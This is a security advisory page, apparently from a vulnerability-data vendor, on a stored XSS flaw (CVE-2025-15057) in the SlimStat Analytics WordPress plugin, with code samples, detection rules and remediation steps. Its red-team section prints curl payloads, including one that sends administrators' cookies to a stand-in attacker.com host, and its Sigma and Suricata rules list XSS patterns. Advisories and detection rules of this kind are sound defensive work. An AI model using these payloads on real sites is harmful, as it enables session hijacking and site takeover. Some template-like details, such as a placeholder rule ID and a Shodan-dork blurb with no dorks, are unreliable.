CVE-2025-15057
Executive Summary
CVE-2025-15057 is a Stored Cross-Site Scripting (XSS) vulnerability in the SlimStat Analytics plugin for WordPress, affecting all versions up to and including 5.3.3. The vulnerability resides in the fh (fingerprint) parameter, which is stored in the database without proper sanitization or output escaping. An unauthenticated attacker can inject arbitrary web scripts that execute when an administrator views the Real-time Access Log report. This can lead to session hijacking, credential theft, or further compromise of the WordPress instance. The vulnerability is classified as high severity (CVSS 7.2) and is currently unpatched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The SlimStat Analytics plugin is distributed via the official WordPress plugin repository. Users are advised to monitor for updates and consider disabling the plugin until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The low EPSS score (0.0%) suggests limited active exploitation, but the unauthenticated nature and stored XSS vector make it a high-priority target for attackers.
Deep Dive & Mechanics
The vulnerability is triggered by the fh parameter, which is used to store a browser fingerprint. The plugin fails to sanitize this input before storing it in the database and does not escape it when rendering the Real-time Access Log report. An attacker can craft a request with a malicious fh value containing JavaScript payloads. When an administrator accesses the report, the payload executes in their browser context.
Attack Flow:
- Attacker sends a crafted HTTP request to the WordPress site with a malicious
fhparameter. - The plugin stores the unsanitized value in the database.
- Administrator views the Real-time Access Log report.
- The stored payload executes, allowing the attacker to perform actions on behalf of the admin.
Vulnerable vs. Patched Code
Vulnerable Code (<= 5.3.3):
// In the logging function
$fingerprint = $_GET['fh'];
$wpdb->insert($table, array('fingerprint' => $fingerprint));
Patched Code (Hypothetical):
// Proper sanitization and escaping
$fingerprint = sanitize_text_field($_GET['fh']);
$wpdb->insert($table, array('fingerprint' => $fingerprint));
// When outputting
echo esc_html($row->fingerprint);
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker can use a simple HTTP request with a malicious fh parameter. Example using curl:
curl -X GET "http://target-site.com/wp-content/plugins/wp-slimstat/wp-slimstat.php?fh=<script>alert('XSS')</script>"
For a more sophisticated payload, an attacker could steal cookies:
curl -X GET "http://target-site.com/wp-content/plugins/wp-slimstat/wp-slimstat.php?fh=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"
Blue Team
To detect exploitation attempts, monitor for unusual fh parameter values in web server logs. Example log entry:
192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /wp-content/plugins/wp-slimstat/wp-slimstat.php?fh=<script>alert('XSS')</script> HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
<script>tags in thefhparameter. - Outbound connections to attacker-controlled domains from the WordPress admin interface.
- HTTP requests containing
- Host IOCs:
- Database entries in the SlimStat tables with suspicious
fingerprintvalues containing JavaScript. - Modified WordPress admin cookies indicating session hijacking.
- Database entries in the SlimStat tables with suspicious
Detection Engineering
YARA Rule
rule CVE_2025_15057_SlimStat_XSS {
meta:
description = "Detects malicious fh parameter in SlimStat Analytics plugin"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-15057"
strings:
$fh_param = "fh="
$xss_payload = /<script[^>]*>.*<\/script>/i
condition:
$fh_param and $xss_payload
}
Sigma Rule
title: CVE-2025-15057 SlimStat Analytics Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-15057
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri|contains: '/wp-content/plugins/wp-slimstat/'
cs-uri-query|contains: 'fh='
cs-uri-query|re: '(<script|<img|<svg|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of fingerprinting with special characters
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-15057 SlimStat Analytics Stored XSS"; flow:to_server,established; content:"/wp-content/plugins/wp-slimstat/"; http_uri; content:"fh="; http_uri; pcre:"/(<script|<img|<svg|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the SlimStat Analytics plugin until a patch is released.
- Review database entries for malicious
fingerprintvalues and remove them. - Rotate all WordPress admin credentials.
Long-term Fix:
- Apply input sanitization (e.g.,
sanitize_text_field()) and output escaping (e.g.,esc_html()) to thefhparameter. - Implement a Web Application Firewall (WAF) rule to block malicious
fhvalues.
- Apply input sanitization (e.g.,
Monitoring:
- Enable logging for all plugin-related requests.
- Use the provided YARA, Sigma, and Suricata rules for detection.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.